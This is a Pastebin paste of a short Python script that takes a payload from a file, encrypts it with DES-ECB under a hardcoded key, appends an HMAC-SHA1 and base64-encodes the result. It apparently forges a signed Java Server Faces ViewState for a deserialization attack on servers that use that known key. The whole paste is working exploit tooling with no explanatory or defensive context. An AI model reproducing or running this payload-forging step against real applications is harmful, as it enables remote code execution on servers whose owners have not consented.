Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from Crypto.Cipher import DES
- import base64
- from hashlib import sha1
- import hmac
- def pad(s): # per standard PKCS#5 is padding to blocksize 8, PKCS#7 is for any block size 1 to 255
- return s + (block_size - len(s) % block_size) * chr(block_size - len(s) % block_size)
- block_size = DES.block_size
- key = "JsF9876-"
- #SnNGOTg3Ni0=
- ######################
- f=open("out-pay.txt", "r")
- viewstate = f.read()
- f.close()
- print ("#" * 150)
- print (" 2 . Decoded viewstate " + viewstate + "\n\n\n\n")
- obj = DES.new(key, DES.MODE_ECB)
- encrypted_viewstate = obj.encrypt(pad(viewstate))
- print ("#" * 150)
- print (" 3 . Encrypted viewstate " + encrypted_viewstate + "\n\n\n\n")
- hmac_obj = hmac.new(key,encrypted_viewstate,sha1)
- digested_hmac = hmac_obj.digest()
- print ("#" * 150)
- print (" 4 . digested_hmac " + digested_hmac + "\n\n\n\n")
- final_payload = base64.b64encode(encrypted_viewstate+digested_hmac)
- print ("#" * 150)
- print (" 5 . final_payload \n\n\n\n" + final_payload + "\n\n\n\n")
- f= open("final_enc.txt","w")
- f.write (final_payload)
- f.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement